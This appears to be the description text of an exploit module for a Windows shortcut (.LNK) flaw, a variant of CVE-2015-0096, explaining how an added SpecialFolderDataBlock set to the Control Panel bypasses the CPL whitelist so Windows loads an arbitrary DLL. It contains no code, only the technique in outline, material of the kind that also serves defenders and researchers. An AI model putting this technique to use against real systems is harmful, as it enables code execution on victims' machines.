        This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
        that contain a dynamic icon, loaded from a malicious DLL.

        This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
        similar except in an additional SpecialFolderDataBlock is included. The folder ID set
        in this SpecialFolderDataBlock is set to the Control Panel. This is enought to bypass
        the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
        DLL file.
